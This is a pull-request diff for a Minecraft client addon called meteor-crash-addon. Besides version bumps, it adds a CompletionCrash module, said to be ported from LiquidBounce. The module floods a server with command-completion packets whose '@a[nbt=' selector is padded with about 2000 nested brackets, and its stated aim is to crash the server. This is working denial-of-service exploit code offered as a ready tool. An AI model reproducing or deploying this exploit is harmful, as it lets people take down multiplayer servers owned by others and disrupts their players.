Merge pull request #1 from zImPatrick/completion

build.gradle

@@ -1,5 +1,5 @@
 plugins {
-    id 'fabric-loom' version '1.4-SNAPSHOT'
+    id 'fabric-loom' version '1.5-SNAPSHOT'
     id 'maven-publish'
 }
 

gradle.properties

@@ -1,13 +1,13 @@
 org.gradle.jvmargs=-Xmx2G
 
 # Fabric Properties (https://fabricmc.net/develop/)
-minecraft_version=1.20.2
-yarn_mappings=1.20.2+build.4
-loader_version=0.14.23
+minecraft_version=1.20.4
+yarn_mappings=1.20.4+build.3
+loader_version=0.15.2
 
 # Mod Properties
 mod_version=0.6
 maven_group=Wide-Cat
 archives_base_name=meteor-crash-addon
 
-meteor_version=0.5.5
+meteor_version=0.5.6

src/main/java/widecat/meteorcrashaddon/CrashAddon.java

@@ -22,6 +22,7 @@ public void onInitialize() {
 
         Modules.get().add(new AACCrash());
         Modules.get().add(new BookCrash());
+        Modules.get().add(new CompletionCrash());
         Modules.get().add(new ContainerCrash());
         Modules.get().add(new CraftingCrash());
         Modules.get().add(new CreativeCrash());

src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java

@@ -0,0 +1,74 @@
+package widecat.meteorcrashaddon.modules;
+
+import meteordevelopment.meteorclient.events.game.GameLeftEvent;
+import meteordevelopment.meteorclient.events.world.TickEvent;
+import meteordevelopment.meteorclient.systems.modules.Module;
+import meteordevelopment.orbit.EventHandler;
+import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
+import widecat.meteorcrashaddon.CrashAddon;
+
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
+// https://github.com/CCBlueX/LiquidBounce/blob/5593140550914f74ccd55ac0cd7b66da4d43f510/src/main/kotlin/net/ccbluex/liquidbounce/features/module/modules/exploit/servercrasher/exploits/CompletionExploit.kt
+public class CompletionCrash extends Module {
+    public CompletionCrash() {
+        super(CrashAddon.CATEGORY, "CompletionCrash", "Crashes the server using command completions, ported from LiquidBounce");
+    }
+
+    private final String[] usedCommands = {
+        "msg",
+        "minecraft:msg",
+        "tell",
+        "minecraft:tell",
+        "tm",
+        "teammsg",
+        "minecraft:teammsg",
+        "minecraft:w",
+        "minecraft:me"
+    };
+
+    private int timer = 0;
+    private int currentCommandIndex = 0;
+
+    @Override
+    public void onActivate() {
+        timer = 0;
+        currentCommandIndex = 0;
+    }
+
+    @EventHandler
+    public void onTick(TickEvent.Pre tickEvent) {
+        timer++;
+
+        if (timer > currentCommandIndex * 20) {
+            if (currentCommandIndex > usedCommands.length - 1) {
+                toggle();
+                info("Done trying.");
+                return;
+            }
+
+            // send a packet
+            var commandToUse = usedCommands[currentCommandIndex];
+            info("Trying %s...", commandToUse);
+            var overflow = generateJsonObject(2040 - commandToUse.length() - "@a[nbt=]".length());
+            var partialCommand = commandToUse + " @a[nbt=" + overflow + "]";
+
+            for (int j = 0; j < 3; j++) {
+                mc.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand));
+            }
+
+            currentCommandIndex++;
+        }
+    }
+
+    @EventHandler
+    private void onGameLeft(GameLeftEvent event) {
+        toggle();
+    }
+
+    private String generateJsonObject(int levels) {
+        var data = IntStream.range(0, levels).mapToObj(x -> "[").collect(Collectors.joining());
+        return String.format("{a:%s}", data);
+    }
+}